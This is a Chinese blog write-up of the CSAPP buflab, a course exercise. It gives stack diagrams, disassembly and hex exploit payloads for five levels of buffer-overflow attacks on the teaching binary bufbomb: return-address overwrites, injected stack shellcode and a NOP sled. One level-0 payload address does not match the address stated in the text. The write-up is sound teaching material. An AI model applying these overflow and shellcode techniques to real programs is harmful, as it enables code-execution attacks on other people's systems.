CSAPP-lab3:buflab

本文最后更新于:2024年2月1日 下午

实验环境

根据实验手册操作

解压

1
tar xvf buflab-handout.tar

得到三个文件

  • bufbomb
    • 二进制炸弹
    • -h选项打印帮助信息
    • -u userid 运行,userid会改变一些代码地址
  • makecookie
    • 根据id定制cookie
  • hex2raw
    • 将十六进制数字转化为对应的ASCII码

set disassembly-flavor att 转换为att格式的汇编

程序的基本分析

程序的运行方法:

Usage: ./bufbomb -u <userid> [-nsh]
-u <userid> User ID
-n Nitro mode
-s Submit your solution to the grading server
-h Print help information

看一下保护

1
2
3
4
5
6
7
8
9
pwndbg> checksec
[*] '/home/kali/Desktop/bufbomb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
FORTIFY: Enabled

  • “No PIE (0x8048000)”,这表示程序是以固定的基址加载到内存中的。地址0x8048000是程序的加载基址,也就是程序在内存中的起始地址。这意味着程序在每次运行时都会以相同的地址加载到内存中,而不是以随机的基址进行地址重定位。

程序行为:

  • BUFBOMB程序通过以下函数从标准输入中读取字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    1 /* Buffer size for getbuf */
    2 #define NORMAL_BUFFER_SIZE 32
    3
    4 int getbuf()
    5 {
    6 char buf[NORMAL_BUFFER_SIZE];
    7 Gets(buf);
    8 return 1;
    9 }
  • 此处存在缓冲区溢出

If the string is no more than 31 characters long, it is clear that getbuf will return 1, as shown by the following execution example:

1
2
3
unix> ./bufbomb -u bovik
Type string: I love 15-213.
Dud: getbuf returned 0x1

An error occurs if we type a longer string:

1
2
3
unix> ./bufbomb -u bovik
Type string: It is easier to love this class when you are a TA.
Ouch!: You caused a segmentation fault!

由于我们输入的字符串可能有不可见字符,TA贴心的提供了HEX2RAW帮你生成这类字符串。HEX2RAW程序的输入是很多个由两个16进制数字组成的字节

“012345” could be entered in hex format as “30 31 32 33 34 35.” (Recall that the ASCII code for decimal digit x is 0x3x.)

假设我们输入了:bf 66 7b 32 78,那么与之对应的:

Raw Hex (zero bytes in bold):

BF667B3278   

String Literal:

“\xBF\x66\x7B\x32\x78”

Array Literal:

{ 0xBF, 0x66, 0x7B, 0x32, 0x78 }

Disassembly:

0:  bf 66 7b 32 78          mov    edi,0x78327b66

我们需要将此写在exploit.txt中,然后使用如下命令与bufbomb交互

  • 1、重定向程序输入
  • 2、在gdb中给程序加参数
1
2
3
4
5
6
7
8
9
10
11
1. You can set up a series of pipes to pass the string through HEX2RAW.

unix> cat exploit.txt | ./hex2raw | ./bufbomb -u bovik

2. You can store the raw string in a file and use I/O redirection to supply it to BUFBOMB:

unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./bufbomb -u bovik < exploit-raw.txt
This approach can also be used when running BUFBOMB from within GDB:
unix> gdb bufbomb
(gdb) run -u bovik < exploit-raw.txt

level 0 Candle(10 pts)

test函数会调用getbuf函数,getbuf函数执行完之后会返回到test中继续执行。getbuf函数具有缓冲区溢出漏洞,我们需要劫持函数执行流,使得从getbuf函数返回到我们想要的smoke函数处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32

int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}


void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

smoke函数的地址为08048c18,因此需要将返回地址覆盖写为08048c18

1
2
3
4
5
6
7
8
9
10
11
12
disas smoke

08048c18 <smoke>:
8048c18: 55 push %ebp
8048c19: 89 e5 mov %esp,%ebp
8048c1b: 83 ec 18 sub $0x18,%esp
8048c1e: c7 04 24 d3 a4 04 08 movl $0x804a4d3,(%esp)
8048c25: e8 96 fc ff ff call 80488c0 <puts@plt>
8048c2a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c31: e8 45 07 00 00 call 804937b <validate>
8048c36: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c3d: e8 be fc ff ff call 8048900 <exit@plt>

getbuf函数的栈帧分配了0x38字节,buf的首地址在0x28偏移处,因此需要填充buf+old ebp大小的空间,然后将返回地址覆盖

1
2
3
4
5
6
7
8
9
10
11
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

栈帧结构图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


high ┌───────────┐
│ │
│ cookie │
├───────────┤
│ │
│ │
├───────────┤
│ │
│return addr│
│ │
├───────────┤
│ │
ebp ─────► │ old ebp │
│ │
├───────────┤
│ │
│ │
buf
│ │
│ │
│ │
│ │
│ │
├───────────┤
│ │
│ ...buf[0]
└───────────┘
low

exploit.txt

1
2
3
4
5
6
7
8
9
10
11
12
00 00 00 00 
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
50 8b 04 08 /*小端序*/

输出

1
2
3
4
5
6
7
cat exploit.txt | ./hex2raw  | ./bufbomb -u nmsl

Userid: nmsl
Cookie: 0x6185560e
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

level 1 Sparkler(10 pts)

执行fizz函数,且该函数有一个参数,也即是在level 0的基础上加了一个函数参数

我的cookie:0x6185560e

反汇编得到fizz的地址:08048c42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
disas fizz

08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

为什么return addr和参数之间需要填充四个字节?这涉及到栈回收时候的操作:

  • mov %ebp,%esp 。将esp指向ebp所指,相当于回收栈分配的空间
  • pop ebp。恢复前栈指针,同时esp=esp+4,也即是指向返回地址。上面mov和pop语句可以用一个leave代替
  • ret指令相当于pop eip,因此esp=esp+4,也即是指向返回地址+4处。因此第一个参数是在return addr+8的位置

要注意到push和pop指令都隐含着esp的改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
--------------------------------------------------------------

`mov %ebp,%esp`

high ┌───────────┐
│ │
│ cookie │
├───────────┤
│ │
│ │
├───────────┤
│ │
return addr│
│ │
├───────────┤
esp ebp ───►
---------------------------------------------------------------

`pop ebp`


ebp ───►

┌───────────┐
│ │
│ cookie │
├───────────┤
│ │
│ │
├───────────┤
│ │
esp ───► │return addr│
│ │
├───────────┤

---------------------------------------------------------------
`ret` 也即是 `pop eip`

ebp ───►

┌───────────┐
│ │
│ cookie │
├───────────┤
│ │
esp ───► │ │
├───────────┤
│ │
eip ───► │return addr│
│ │
├───────────┤



```

exploit.txt

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
42 8c 04 08 /* 返回地址,小端序 /
00 00 00 00 /
见前面分析 /
0e 56 85 61 /
cookie,也即是fizz函数的参数 */

1
2
3
4
5
6
7
8
9

输出

```shell
Userid: nmsl
Cookie: 0x6185560e
Type string:Fizz!: You called fizz(0x6185560e)
VALID
NICE JOB!

level 2 Firecracker(15 pts)

这一次我们需要调用函数bang,由于bang中会验证全局变量global_value是否等于cookie,因此需要在堆栈中注入代码

1
2
3
4
5
6
7
8
9
10
11
12
int global_value = 0;

void bang(int val)

{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
  • 将返回地址修改为buf[0]的地址80491CC,getbuf函数将会跳到buf[0],然后执行此处的代码

  • 注入代码:

    • 修改global_value的值为cookie
    • 将bang函数的地址压入栈,后跟一个ret指令
  • 反汇编得到bang的地址为0x08048c9d

  • global_value的地址为0x804d100

  • Userid: nmsl Cookie: 0x6185560e

需要注入的代码:

1
2
3
4
movl  $0x6185560e,%eax
movl %eax,0x804d100 //将正确的cookie赋给global_value
push $0x08048c9d //bang的地址压栈
ret //等同于 pop eip,跳转到bang并执行

汇编 gcc -m32 -c 1.s

再使用objdump反汇编得到二进制代码

1
2
3
4
5
6
7
Disassembly of section .text:

00000000 <.text>:
0: b8 0e 56 85 61 mov $0x6185560e,%eax
5: a3 00 d1 04 08 mov %eax,0x804d100
a: ff 35 9d 8c 04 08 pushl 0x8048c9d
10: c3 ret

exploit.txt

1
2
3
4
5
6
7
8
9
10
11
12
b8 0e 56 85 61
a3 00 d1 04 08
68 9d 8c 04 08
c3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
28 38 68 55 //要注意这个缓冲区的首地址,buf[0]在堆栈段

验证:

1
2
3
4
5
6
7
cat exploit.txt | ./hex2raw  | ./bufbomb -u nmsl

Userid: nmsl
Cookie: 0x6185560e
Type string:Bang!: You set global_value to 0x6185560e
VALID
NICE JOB!

Level 3: Dynamite (20 pts)

之前的代码注入会破坏堆栈的栈平衡(比如覆盖了ebp的值),使得程序异常退出,level 3需要将在不改变程序执行流的情况下,改写getbuf函数的返回值,并返回到test函数中继续执行

  • 观察C语言代码,test函数call getbuf函数的下一条语句是,if (local != uniqueval()) {,那么这就是从getbuf函数返回后要执行的代码的地址。为0x8048dbe
  • getbuf原先的返回值是1,现在需要改为cookie的值,按照约定,返回值被保存在eax寄存器(也可以从test函数的反汇编结果观察验证)
  • ebp的值不能被改变,因此需要动态调试得到ebp的原始值。为0x55683880
  • 原先的return addr需要改为Gets函数所读入的字符串的地址
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58






    ┌───────────┐
    │ │
    return addr│ ───────────────────┐
    │ │ │
    ├───────────┤ │
    │ │ │
    cant be modifie │ old ebp │ │
    │ │ │
    ├───────────┤ │
    │ │ │
    │ .... │ │
    ├───────────┤ │
    │ │ │
    │ ret │ │
    ├───────────┤ │
    │ push │ │
    │ retadd │ │
    ├───────────┤ │
    │ │ ◄──────────────────┘
    buf[0] addr │ set eax │
    └───────────┘




    int getbuf()
    {
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
    }

    void test()
    {
    int val;
    /* Put canary on stack to detect possible corruption */
    volatile int local = uniqueval();

    val = getbuf();

    /* Check for corrupted stack */
    if (local != uniqueval()) {
    printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
    printf("Boom!: getbuf returned 0x%x\n", val);
    validate(3);
    }
    else {
    printf("Dud: getbuf returned 0x%x\n", val);
    }
    }
    注入代码
    1
    2
    3
    movl  $0x6185560e,%eax
    push $0x8048dbe
    ret
    对应的二进制字节
    1
    2
    3
    4
    5
    6
    7

    Disassembly of section .text:

    00000000 <.text>:
    0: b8 0e 56 85 61 mov $0x6185560e,%eax
    5: 68 be 8d 04 08 push $0x8048dbe
    a: c3 ret

exploit.txt

1
2
3
4
5
6
7
8
9
10
11
12
b8 0e 56 85 61
68 be 8d 04 08
c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
80 38 68 55
28 38 68 55

测试

1
2
3
4
5
6
7
cat exploit.txt | ./hex2raw  | ./bufbomb -u nmsl

Userid: nmsl
Cookie: 0x6185560e
Type string:Boom!: getbuf returned 0x6185560e
VALID
NICE JOB!

Level 4: Nitroglycerin (10 pts)

要求:

  • 使用-n选项运行,这会使程序调用testn、getbufn函数,而非之前的test、getbuf函数
  • getbufn函数会被调用5次
  • 每一次输入的字符串都相同
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
8048e46: 74 0e je 8048e56 <testn+0x30>
8048e48: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048e4f: e8 6c fa ff ff call 80488c0 <puts@plt>
8048e54: eb 46 jmp 8048e9c <testn+0x76>
8048e56: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048e5c: 75 26 jne 8048e84 <testn+0x5e>
8048e5e: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e62: c7 44 24 04 b4 a3 04 movl $0x804a3b4,0x4(%esp)
8048e69: 08
8048e6a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e71: e8 4a fb ff ff call 80489c0 <__printf_chk@plt>
8048e76: c7 04 24 04 00 00 00 movl $0x4,(%esp)
8048e7d: e8 f9 04 00 00 call 804937b <validate>
8048e82: eb 18 jmp 8048e9c <testn+0x76>
8048e84: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e88: c7 44 24 04 62 a5 04 movl $0x804a562,0x4(%esp)
8048e8f: 08
8048e90: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e97: e8 24 fb ff ff call 80489c0 <__printf_chk@plt>
8048e9c: 83 c4 24 add $0x24,%esp
8048e9f: 5b pop %ebx
8048ea0: 5d pop %ebp
8048ea1: c3 ret

0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 00 00 sub $0x218,%esp
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop

断点调试:

1
2
3
4
5
b testn

b getbufn

run -n -u nmsl < exploit.txt

在五次调用getbuf的过程中,ebp的值统计如下:

testn
ebp:0x55683880、0x556838e0、0x55683800、0x55683880、0x55683840

getbuf
ebp:0x55683850、0x556838b0、0x556837d0、0x55683850、0x55683810

getbufn开辟的缓冲区大小是520,也即是说,buf[0]的地址是ebp-520,因此buf[0]的地址有这些可能:55683648、556836A8、556835C8、55683648、55683608,为了保证注入代码都可以执行,选择地址最大的556836A8作为覆盖的返回地址

注入代码:

  • 将eax赋值为$0x6185560e
  • 恢复ebp,也即是将esp+0x28赋给ebp
  • push返回地址,ret
  • 覆盖返回地址

exploit.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
515 + 15 + 4 + 4

90 90 90 90 90
90 90 90 90 90
90 90 90 90 90
90 90 90 90 90

// ...... 一共是515个0x90

90 90 90 90 90
90 90 90 90 90
90 90 90 90 90
b8 0e 56 85 61 //注入的二进制代码
8d 6c 24 28
68 3a 8e 04 08
c3
90 90 90 90 //ebp
A8 36 68 55 //返回地址,跳转到buf[0]

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat exploit.txt | ./hex2raw -n | ./bufbomb -n -u nmsl

Userid: nmsl
Cookie: 0x6185560e
Type string:KABOOM!: getbufn returned 0x6185560e
Keep going
Type string:KABOOM!: getbufn returned 0x6185560e
Keep going
Type string:KABOOM!: getbufn returned 0x6185560e
Keep going
Type string:KABOOM!: getbufn returned 0x6185560e
Keep going
Type string:KABOOM!: getbufn returned 0x6185560e
VALID
NICE JOB!

CSAPP-lab3:buflab
http://gls.show/p/db3828d1/
作者
郭佳明
发布于
2024年1月31日
许可协议